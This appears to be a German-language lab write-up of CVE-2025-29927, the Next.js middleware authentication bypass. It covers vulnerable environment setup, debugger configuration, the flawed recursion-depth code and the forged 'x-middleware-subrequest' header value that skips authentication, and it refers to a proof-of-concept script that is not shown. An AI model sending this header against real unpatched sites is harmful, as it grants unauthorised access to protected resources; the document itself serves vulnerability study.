
Next.js Middleware Auth Bypass
Durch das Fälschen des x-middleware-subrequest-Anfrageheaders wird der Next.js-Middleware-Authentifizierungsmechanismus umgangen, was einen unbefugten Zugriff auf geschützte Routen ermöglicht.
Der Projektquellcode stammt von P神, Next.js-Version 15.2.2 (Für Next.js 15.x wurde dieses Problem in 15.2.3 behoben).
Stellen Sie sicher, dass Node und npm installiert sind. Überprüfen Sie die Versionen mit den folgenden Befehlen:
node -v
npm -v
Abhängigkeiten installieren und Projekt starten
# 1. 进入项目目录
cd vulenv
# 2. 全局安装 Yarn(如果尚未安装)
npm install -g yarn
# 3. 安装项目依赖
yarn install
# 4. 启动开发服务器
npm run dev
Oder in einem Schritt:
cd vulenv && npm install -g yarn && yarn install && npm run dev
Erfolgreich wie folgt:


Konfigurieren Sie das VScode-Debugging wie folgt:
{
"version": "0.2.0",
"configurations": [
{
"name": "Next.js: debug server-side",
"type": "node-terminal",
"request": "launch",
"command": "npm run dev"
},
{
"name": "Next.js: debug client-side",
"type": "chrome",
"request": "launch",
"url": "http://localhost:3000"
},
{
"name": "Next.js: debug full stack",
"type": "node-terminal",
"request": "launch",
"command": "npm run dev",
"serverReadyAction": {
"pattern": "- Local:.+(https?://.+)",
"uriFormat": "%s",
"action": "debugWithChrome"
}
}
]
}
const run = withTaggedErrors(async function runWithTaggedErrors(params) {
var _params_request_body;
const runtime = await getRuntimeContext(params);
const subreq = params.request.headers[`x-middleware-subrequest`];
const subrequests = typeof subreq === 'string' ? subreq.split(':') : [];
const MAX_RECURSION_DEPTH = 5;
const depth = subrequests.reduce((acc, curr)=>curr === params.name ? acc + 1 : acc, 0);
if (depth >= MAX_RECURSION_DEPTH) {
return {
waitUntil: Promise.resolve(),
response: new runtime.context.Response(null, {
headers: {
'x-middleware-next': '1'
}
})
};
}
......
Eine Middleware-Funktion, deren Zweck es ist, die Tiefe rekursiver Aufrufe zu überprüfen, um Endlosschleifen zu vermeiden. Ihr Mechanismus hängt vom Header x-middleware-subrequest ab, der mit Doppelpunkt : in mehrere Unteranforderungsnamen aufgeteilt wird, und zählt die Anzahl, wie oft der aktuelle Middleware-Name params.name vorkommt (d.h. die Rekursionstiefe). Wenn die Rekursionstiefe den Schwellenwert (Standard MAX_RECURSION_DEPTH = 5) erreicht oder überschreitet, überspringt die Middleware die Kernlogik, wie z.B. die Authentifizierung, und fährt mit dem Anfrageverarbeitungsprozess fort.
Tipps: Vermeidung von Endlosschleifen, ungefähr wie folgt:
用户访问 /dashboard
↓
middleware 拦截,请求 /api/auth
↓
/api/auth 再次触发 middleware
↓
middleware 又请求 /api/auth
↓
...
死循环!🌀
Der Middleware-Name ist middleware. Es kann der folgende Request-Header konstruiert werden:
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
Die obige Konstruktion führt zu depth = 5, was direkt Folgendes auslöst:
if (depth >= MAX_RECURSION_DEPTH)
Wenn die Anwendung die Authentifizierungslogik in der Middleware implementiert hat, führt dies dazu, dass die Middleware die Authentifizierungslogik verlässt und zurückgibt:
x-middleware-next: 1
Damit die Anfrage weiter zum Backend geleitet wird und geschützte Ressourcen ohne Authentifizierung abgerufen werden.
Setzen Sie einen Haltepunkt an der in der folgenden Abbildung angegebenen Stelle (Pfad: CVE-2025-29927/vulenv/node_modules/next/dist/server/web/sandbox/sandbox.js) und starten Sie dann das Debuggen.

Payload senden

Der Haltepunkt wird an der folgenden Stelle erreicht, wo man sehen kann, dass der Wert von depth 5 ist.

Setzen Sie die Ausführung fort, um auf die geschützte Ressource zuzugreifen.

Basierend auf Pocsuite3 geschrieben; Details siehe Poc_CVE-2025-29927.py.

Next.js and the corrupt middleware: the authorizing artifact